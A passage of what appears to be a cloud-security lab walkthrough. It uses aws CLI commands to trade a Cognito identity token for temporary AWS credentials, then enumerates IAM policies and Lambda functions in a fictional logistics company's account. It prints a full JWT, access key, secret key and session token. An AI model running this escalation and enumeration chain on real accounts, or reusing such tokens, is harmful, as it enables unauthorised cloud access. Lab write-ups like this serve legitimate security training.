8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog\&#34; }&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;IdentityId&#34;</span>: <span style="color:#e6db74">&#34;us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We now will <code>get-credentials-for-identity</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384 --region us-east-1 --logins <span style="color:#e6db74">&#34;{ \&#34;cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\&#34;: \&#34;eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog\&#34; }&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;IdentityId&#34;</span>: <span style="color:#e6db74">&#34;us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Credentials&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AccessKeyId&#34;</span>: <span style="color:#e6db74">&#34;ASIAWHEOTHRFV7HWQWXL&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SecretKey&#34;</span>: <span style="color:#e6db74">&#34;pPHkx7if25OhMucq+8U4uMua9zA64FBZz8NsN2PF&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SessionToken&#34;</span>: <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjEMr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCsHDELY5nt4a9VNcqCUQH00A4rL9rDDW/vVPOJDcyy/wIgR0YY3SmWQBdOarMg40QRG2n8zPytGWDQ4bO1+TCfzWQqzQQIov//////////ARAAGgw0Mjc2NDgzMDIxNTUiDGr3vvtNhaYuRmhZYyqhBO3G8PW+nPtYaj8uYdKLaeNp2d0twDb0KeGz+gaZEAu1dSdJZB+u6752p/HWQjNQ4Vz4JsMdVTDbBIQR6A/Vt+ssb0kxpM3/53sDJMd8n1Aon0xRJRUUMWj30uL7q2SJC/GjTmjO0ocYmGql3384ZtuKtAYhFNx2ZCj0ssfnf7JIABea1Ct0ppsImdSuzer//1JQZvkzVdaXVdONSm92Dn382jvT6AG+JXHzrS+CY7YahQCcYDiRuXPgQrySq75lfQUSz0z+DyCruMloh6SGT7ZXy+lJAK+aA0VOlGZBJxKqw6ld0GF+oWaz6aMnbMjlMMK9N8ULwH+iFYa0Mk5IsNlk5GsDCPDOmerKg+dKhQCBhxt42oGltUwS5Z1+7qG+SGXesQJncVIEAeu1m6RlW2ihZNtmy+vdDcRd4RiY291mBZWwtaNYhY60dackGAn2OXUYwNoVo3oUiwGCT+mkVHcw/SHSy3Ufaibr9bEIJfwQHbbOD7pc4GKGiZSDi0ib0f+9aZeR15Kvegiyw6CiFt5BaCQ9hZd8ASueXRU3+b6oytC0kRbVU2TgWKuB76UZxb5vRiQoLIlO57ADJdhEivDfSfgeHK/lnTpORqaTGgiCHK/ZdUEOhLOfAbHEkaATLQCGnqstjqPhsgLquPN9yk+fnqdTvG6f2NzYFAULN+sGk0M4Yscn5hpRv+wTNhCu7Vln9Eh1zdzYoU/E+fxJQEuyMN+Mg7UGOoUCeSlsb/963F6R3drueQoEb6vd2PaNUQAhGsMRRst6tTXHOvFXiOT77P6Bue0mzkD2/ll69Xr0vlcw+TD0VJ0uy/uXIMbkSFk6M3N3f3MengPo5SyKIjZpOLVnprIf3NCPuyVzg7vtpMVgzm21v8XnMSAI39Hw28tfNcRSkCPxy1rmS0UKERLN5qmBmpUI8XKtrc1TOdBL3D9IbxyjxEtmuV99aiaYd8rrCUvGDPKtECvTs0+2KktPC1+ZFe4fZp2PjpvEiqTVzRCVY0SkAcpUTK77S94XK/vGXc5s3hmtOMZzlhdRONN13GkFHOjWQU/SpoLdkmnBJoLNTQYuF0hK3+C8NsHT&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Expiration&#34;</span>: <span style="color:#e6db74">&#34;2024-07-24T18:16:15+08:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We will configure the credentials again and confirm that these are working</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AROAWHEOTHRFZ7HQ7Z6QA:CognitoIdentityCredentials&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppAuth_Role/CognitoIdentityCredentials&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>This account appears to have more permissions so we will see what policies are attached to it</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito iam list-role-policies --role-name Cognito_StatusAppAuth_Role
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyNames&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;oneClick_Cognito_StatusAppAuth_Role_1689349464673&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cognito iam list-attached-role-policies --role-name Cognito_StatusAppAuth_Role
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AttachedPolicies&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;Status&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Status&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cognito iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Status
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;Status&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPAWHEOTHRF4PPCP4KUA&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Status&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v4&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 2,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-13T21:07:44+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-15T09:43:20+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Let&rsquo;s now retrieve the policy document using <code>aws --profile cognito iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Status --version-id v4</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;PolicyVersion&#34;</span>: {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;Document&#34;</span>: {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor0&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Action&#34;</span>: [
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;lambda:InvokeFunction&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;lambda:GetFunction&#34;</span>
</span></span><span style="display:flex;"><span>                    ],
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status&#34;</span>
</span></span><span style="display:flex;"><span>                },
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor1&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;lambda:ListFunctions&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            ]
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v4&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;IsDefaultVersion&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-15T09:43:20+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We have the Lambda List Functions permission and whilst we already have a function name, we will validate and also get more information using <code>aws --profile cognito lambda list-functions</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;Functions&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;FunctionName&#34;</span>: <span style="color:#e6db74">&#34;huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;FunctionArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Runtime&#34;</span>: <span style="color:#e6db74">&#34;python3.10&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:role/service-role/huge-logistics-status-role-4m4kg3fv&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Handler&#34;</span>: <span style="color:#e6db74">&#34;lambda_function.lambda_handler&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CodeSize&#34;</span>: <span style="color:#ae81ff">775</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Timeout&#34;</span>: <span style="color:#ae81ff">3</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MemorySize&#34;</span>: <span style="color:#ae81ff">128</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;LastModified&#34;</span>: <span style="color:#e6db74">&#34;2023-07-17T17:21:11.000+0000&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CodeSha256&#34;</span>: <span style="color:#e6db74">&#34;78BBjKChkzNIwtlGOiI9paXxi/IYSuzv1GUaXBNuqY0=&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;$LATEST&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;TracingConfig&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Mode&#34;</span>: <span style="color:#e6db74">&#34;PassThrough&#34;</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RevisionId&#34;</span>: <span style="color:#e6db74">&#34;287ac428-dfc2-4911-b003-e765795d1a5d&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PackageType&#34;</span>: <span style="color:#e6db74">&#34;Zip&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Architectures&#34;</span>: [
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;x86_64&#34;</span>
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;EphemeralStorage&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Size&#34;</span>: <span style="color:#ae81ff">512</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;SnapStart&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;ApplyOn&#34;</span>: <span style="color:#e6db74">&#34;None&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;OptimizationStatus&#34;</span>: <span style="color:#e6db74">&#34;Off&#34;</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;LoggingConfig&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;LogFormat&#34;</span>: <span style="color:#e6db74">&#34;Text&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;LogGroup&#34;</span>: <span style="color:#e6db74">&#34;/aws/lambda/huge-logistics-status&#34;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;FunctionName&#34;</span>: <span style="color:#e6db74">&#34;SecretsManagermysql-rotation&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;FunctionArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Runtime&#34;</span>: <span style="color:#e6db74">&#34;python3.9&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:role/SecretsManagerRDSMariaDBR-SecretsManagerRDSMariaDB-128H7L75TCDD5&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Handler&#34;</span>: <span style="color:#e6db74">&#34;lambda_function.lambda_handler&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CodeSize&#34;</span>: <span style="color:#ae81ff">893992</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Rotates a Secrets Manager secret for Amazon RDS MariaDB credentials using the alternating users rotation strategy.&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Timeout&#34;</span>: <span style="color:#ae81ff">30</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;MemorySize&#34;</span>: <span style="color:#ae81ff">128</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;LastModified&#34;</span>: <span style="color:#e6db74">&#34;2023-07-12T18:48:35.825+0000&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CodeSha256&#34;</span>: <span style="color:#e6db74">&#34;LbavP2POQ9AcuPXX54bNIhLOPpMF7GYd/qmDa3WcIp0=&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;$LATEST&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Environment&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Variables&#34;</span>: {
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;EXCLUDE_CHARACTERS&#34;</span>: <span style="color:#e6db74">&#34;/@\&#34;&#39;\\&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&#34;SECRETS_MANAGER_ENDPOINT&#34;</span>: <span style="color:#e6db74">&#34;https://secretsmanager.us-east-1.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;TracingConfig&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Mode&#34;</span>: <span style="color:#e6db74">&#34;PassThrough&#34;</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;RevisionId&#34;</span>: <span style="color:#e6db74">&#34;108eb366-f627-488e-81c6-25a07003ecc4&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PackageType&#34;</span>: <span style="color:#e6db74">&#34;Zip&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Architectures&#34;</span>: [
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;x86_64&#34;</span>
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;EphemeralStorage&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;Size&#34;</span>: <span style="color:#ae81ff">512</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;SnapStart&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;ApplyOn&#34;</span>: <span style="color:#e6db74">&#34;None&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;OptimizationStatus&#34;</span>: <span style="color:#e6db74">&#34;Off&#34;</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;LoggingConfig&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;LogFormat&#34;</span>: <span style="color:#e6db74">&#34;Text&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;LogGroup&#34;</span>: <span style="color:#e6db74">&#34;/aws/lambda/SecretsManagermysql-rotation&#34;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>There are two functions listed, but we are only able to get additional information on <code>huge-logistics-status</code> and there is an S3 endpoint</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito lambda get-function --function-name huge-logistics-status
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Configuration&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;FunctionName&#34;</span>: <span style="color:#e6db74">&#34;huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;FunctionArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Runtime&#34;</span>: <span style="color:#e6db74">&#34;python3.10&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:role/service-role/huge-logistics-status-role-4m4kg3fv&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Handler&#34;</span>: <span style="color:#e6db74">&#34;lambda_function.lambda_handler&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CodeSize&#34;</span>: 775,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Timeout&#34;</span>: 3,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;MemorySize&#34;</span>: 128,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;LastModified&#34;</span>: <span style="color:#e6db74">&#34;2023-07-17T17:21:11.000+0000&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CodeSha256&#34;</span>: <span style="color:#e6db74">&#34;78BBjKChkzNIwtlGOiI9paXxi/IYSuzv1GUaXBNuqY0=&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;</span>$LATEST<span style="color:#e6db74">&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TracingConfig&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Mode&#34;</span>: <span style="color:#e6db74">&#34;PassThrough&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RevisionId&#34;</span>: <span style="color:#e6db74">&#34;287ac428-dfc2-4911-b003-e765795d1a5d&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;State&#34;</span>: <span style="color:#e6db74">&#34;Active&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;LastUpdateStatus&#34;</span>: <span style="color:#e6db74">&#34;Successful&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PackageType&#34;</span>: <span style="color:#e6db74">&#34;Zip&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Architectures&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;x86_64&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;EphemeralStorage&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Size&#34;</span>: <span style="color:#ae81ff">512</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SnapStart&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;ApplyOn&#34;</span>: <span style="color:#e6db74">&#34;None&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;OptimizationStatus&#34;</span>: <span style="color:#e6db74">&#34;Off&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RuntimeVersionConfig&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;RuntimeVersionArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:lambda:us-east-1::runtime:bbd47e5ef4020932b9374e2ab9f9ed3bac502f27e17a031c35d9fb8935cf1f8c&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;LoggingConfig&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LogFormat&#34;</span>: <span style="color:#e6db74">&#34;Text&#34;</span>,
